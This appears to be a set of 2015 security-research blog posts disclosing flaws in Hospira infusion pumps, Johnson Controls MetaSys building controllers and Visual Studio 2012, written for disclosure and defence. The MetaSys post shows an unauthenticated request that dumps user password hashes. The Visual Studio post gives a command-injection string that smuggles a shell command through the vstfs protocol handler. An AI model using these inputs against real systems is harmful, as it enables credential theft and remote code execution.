Monday, June 8th, 2015
In May of 2014, I reported to the Department of Homeland Security (and eventually the FDA) a series of vulnerabilities affecting the PCA 3 Lifecare infusion pump made by Hospira. Over 400 days later, we have yet to see a single fix for the issues affecting the PCA 3. On April 28th of this year, a researcher named Jeremy Richards Hextech Security publically disclosed many of the same vulnerabilities I reported in May of 2014. The public disclosure caused a chain of events including the publishing of cyber security safety advisory from the FDA. I believe the FDA cyber security safety advisory is the first of its kind. The FDA safety advisory only mentions the PCA3 and PCA5 infusion pumps. There has been much debate over the true impact of these issues and whether these vulnerabilities can actually be used to cause harm to a patient. I’ll be contributing data to the “impact” debate at SummerCon in July, but for now, I’d like to draw attention to a different issue. When I reported these issues over a year ago, I realized that many of the issues were related to design and insecure deployment of the PCA 3. Additionally, I noticed references to additional Hospira products within the PCA 3 firmware I examined.
In May of 2014, I recommended Hospira conduct an analysis to determine whether other infusion pumps within their product lines were affected. Five months after my request for a variant analysis, I received notification that Hospira was “not interested in verifying that other pumps are vulnerable”.
Given the vendor refuses to conduct an analysis of other pumps that are affected by publically known security issues, I decided to independently purchase additional pumps and perform this analysis for them.
The analysis I conducted was not sponsored or funded by any external agency, it was just me trying to understand the scope of the issues at hand. What I found was very interesting, many of Hospira’s infusion pumps utilize IDENTICAL SOFTWARE on their infusion pumps communications module, making them vulnerable to the exact same security issues associated with the PCA 3. Here is a list of Hospira infusion pumps that I have verified to be affected by the issues in the DHS and FDA advisory. These are the same issues publically disclosed by Jeremy Richards in April of 2015.
- PCA 3 Lifecare (mentioned in the FDA advisory)
- PCA 5 Lifecare (mentioned in the FDA advisory)
- Plum A+ Infusion Pumps
- PCA Lifecare
- Symbiq (no longer sold by Hospira, but affected)
Additionally, I suspect (but haven’t verified) that these other pumps are affected by the same issues:
- Plum A+3
- Plum 360
- Sapphire Plus
These vulnerabilities include:
- The ability to forge drug library updates to the infusion pump
- Unauthenticated telnet shell to root to the communications module
- Identical hardcoded credentials (service credentials) across different device lines
- Identical private keys across different device lines
- Identical encryption certificates across different device lines
- A slew of outdated software (>100 different vulnerabilities)
The lack of transparency from Hospira is certainly disappointing. While we are certainly capable of conducting variant analysis, researchers conducting variant analysis across a company’s product lines is not the most efficient approach. Given there is a public blog post, Wired article, DHS advisory, and FDA safety alert discussing the issues affecting the PCA 3, combined with the fact that the software is IDENTICAL on many Hospira communication modules, I find it impossible to believe that Hospira was unaware that the PCA3 issues also affected other pumps in their product lines.
I participate in discussions on how to improve the security of medical devices. For the most part, we all agree that the device vendor is the best position to determine the scope and the depth of a particular security issue. They are also a key part of determining whether a particular issue can be used to cause patient harm. If we can’t trust medical device manufactures to be transparent about publically known security issues and vendors like Hospira continue to harbor the, “we’d rather not know” attitude towards security issues, we’ll have to find an alternative to medical device vulnerability analysis. I hope Hospira is the exception here…
— Billy Rios
Monday, March 23rd, 2015
Last week, ICS-CERT released an advisory on a set of Johnson Control MetaSys vulnerabilities I reported. You can find the advisory here: https://ics-cert.us-cert.gov/advisories/ICSA-14-350-02
It’s interesting to note that my initial email describing the vulnerabilities was sent on November 22nd, 2013. So, 1 year, 3 months, and 23 days later… we finally get a public advisory. The vulnerabilities are extremely simple to exploit (as we’ll see in the post below), but they are also extremely easy to defend/detect. If you are a owner of one of these devices, the facility for which this device supports has been exposed for over a year. If you find these timelines unacceptable, you should call or email your Johnson Controls representative. Let them know that this is unacceptable and their security engineering practices need to be more agile. They obviously don’t care about security researchers, but maybe they’ll listen to their customers.
The Johnson Control NAE is a typical embedded device that you’ll find supporting Building Automation Systems. Here’s a picture of a NAE55.
The NAE55 runs Microsoft embedded standard on an Intel x86 Atom processor. Typically there is a flashdisk which can be accessed at /flashdisk. On the flashdisk, there is a large amount of web related code. Given that web interfaces are almost always remotely accessible, this is an excellent place to find impactful security issues. Some components created by Johnson Controls are written in .NET. While I didn’t find much raw source code, MetaSys makes use of precompiled binaries (dlls) on the NAE55. We can find these precompiled binaries on the flashdisk at: /flashdisk/Storage/Metasys/wwwroot/metasysIII/WS/bin
A quick note to device vendors, shipping .NET code, even in precompiled dlls, is the same as shipping raw source. But your code is tight… so you have nothing to worry about… right?.
There are a large number of binaries here, so where should we start? We’ll break out .NET reflector and we’ll look into a DLL named, “WebServices.Common.dll”. A screenshot of the WebService.Common.dll metadata is shown below.
WebServices.common refers to a number of interesting namespaces. The screenshot below shows the various namespaces.
“Security” is always interesting, so looking at the JohnsonControls.MetasysIII.Security namespace, we see the following:
“AdministationService” exposes several methods including a public method called, “getUserProperty()” getUserProperty accepts an INT value representing the userID and returns a XmlNode.
The implementation of “getUserProperty” is located in the Subsystems.Common assembly:
The Subsystems.Common code can be found in the “Subsystems.Common.dll”. Inside Subsystems.Common is a variety of namespaces including another namespace reference of “JohnsonControls.MetasysIII.Security”
Inside the “JohnsonControls.MetasysIII.Security” namespace is a class named “PrincipalStore”. A screenshot for “PrincipalStore” is shown below:
Inside the “PrincipalStore” class is the actual code for “getUserProperty()”
As you can see, the “getUserProperty()” method exposes user passwords (password hashes). If we can call this method remotely, we should be able to retrieve the password hash for any user on the device (along with a bunch of other user data).
It turns out, we can call this method as an unauthenticated user by making the following web service request (in the example below, we retrieve the details for the all powerful METASYSAGENT account, which is always userID = 1):
POST /MetasysIII/WS/Security/AdminService.asmx HTTP/1.1
<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
This POST request should return something like this:
HTTP/1.1 200 OK
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><GetUserPropertyResponse xmlns="http://johnsoncontrols.com/MetasysIII/WebServices/Security/"><GetUserPropertyResult><Stuff><MetasysUser id="1"><userName>MetasysSysAgent</userName><password>MD5-PASSWORDHASH</password><fullName>Metasys System Agent</fullName><emailAddress /><description>Metasys System Administrator</description><singleAccessUser>false</singleAccessUser><temporaryUser>false</temporaryUser><userExpiresDate>2099-02-01</userExpiresDate><passwordExpiresDate>ExpirationDate</passwordExpiresDate><mustChangePassword>false</mustChangePassword><cannotChangePassword>false</cannotChangePassword><accountDisabled>false</accountDisabled><accountLockedOut>false</accountLockedOut><modifyOwnProfile>true</modifyOwnProfile><canViewNavTree>true</canViewNavTree><userDefined>false</userDefined><Roles><Role id="4" /><Role id="1" /></Roles></MetasysUser></Stuff></GetUserPropertyResult></GetUserPropertyResponse></soap:Body></soap:Envelope>
We can increment the “userID” value and retrieve the password hashes for all users on the device. It’s a good thing that integrators always use really strong passwords, otherwise these would be easily cracked
Here is an interesting exercise… if you have MetaSys in your facilities, ask your integrator if you have any devices that are affected by this bug. If you do have vulnerable devices, ask your integrator to install the latest patches. I would also suggest reviewing your web logs to see if anyone suspicious has called the “AdminService.asmx” web service. Given that this bug allows someone to capture password hashes, it’s a good idea to ask your integrator to reset all the user passwords on the device after you’ve installed the security patches… unless of course changing one of the device passwords breaks inter-operability your integrator setup with other devices, in which case your integrator will be stuck with a pretty major project on their hands… but that would never happen
Probably more relevant for the next post, but for those trying to do last mile supply chain verification or forensics on the NAE, I’ve uploaded my MetaSys bins to WhiteScope.
Thursday, February 12th, 2015
Last week, someone told me that my blog was on the “LovelyHorse” list. I’ve always thought that I was the only person who cared about this blog, but I guess there is a lonely analyst out there that also cares… lonely analyst, this one is for you
I reported an issue affecting Visual Studio 2012 (which I had installed on one of my dev machines at the time). The issue was a blast from the past and reminded me of simpler times when I had the privilege of doing vulnerability research with Nate McFeters and Rob Carter :). Microsoft has addressed the issue, but determined that this issue did not warrant a bulletin, so you’ll have download the Visual Studio 2012 update 4 if you want to “patch” this issue. I have not verified whether other versions of Visual Studio were/are affected. Tested on Win7 with IE10 and VS2012.
Visual Studio 2012 registers the “vstfs” protocol handler during the installation process. This protocol handler calls devenv.exe in the following manner:
“C:\Program Files (x86)\Microsoft Visual Studio 11.0\Common7\IDE\devenv.exe” /TfsLink “%1″
As you know, protocol handlers can be instantiated remotely, most commonly via web pages. The “%1″ value can be attacker controlled and contains the values supplied when the attacker calls the protocol handler:
will result in the following being passed to the shell:
“C:\Program Files (x86)\Microsoft Visual Studio 11.0\Common7\IDE\devenv.exe” /TfsLink “vstfs:test“
Some time ago, I discovered that it was possible to escape out of double quotes when passing argument values to protocol handlers via Internet Explorer (and other browsers on Windows like Chrome). Sadly, this behavior is “by-design” and will not be fixed anytime soon. Knowing this, we can inject additional command line switches which will be passed to devenv.exe. If we know of suitable command line switch for devenv.exe we can repurpose devenv.exe and the vstfs protocol handler to do our bidding. For example, if we pass the following the Internet Explorer (copy/paste into the address bar or serve from a webpage):
vstfs:test” /command “Tools.Shell /c c:\windows\system32\calc.exe
We’ll end up with the following being passed to the remote system:
“C:\Program Files (x86)\Microsoft Visual Studio 11.0\Common7\IDE\devenv.exe” /TfsLink “vstfs:test” /command “Tools.Shell /c c:\windows\system32\calc.exe”
The line above, launches devenv.exe and also shells an executable of our choice (with the ability to pass arbitrary command line arguments to that arbitrary executable).
Fortunately, modern browsers (with the exception of Safari… but who uses Safari on Windows?!?!) have warnings when launching protocol handlers. This means users will likely encounter two prompts from IE (protocol handler warning and an elevation warning), you can witness this if you copy/paste the vstfs:test” /command “Tools.Shell /c c:\windows\system32\calc.exe” string into the IE address bar (tested against IE10 with a system that has VS2012).
There might be a way to bounce this protocol handler off a whitelisted protocol handler (one that doesn’t cause a protocol handler warning) running at medium. Alternatively, we could pass this protocol handler to a remote user via an application that doesn’t have protocol handler warnings (like a chat application that supports URLs). If we can find such a case there will be no warnings to the user and we’ll have a zero click or one click remote command injection exploit against Visual Studio users.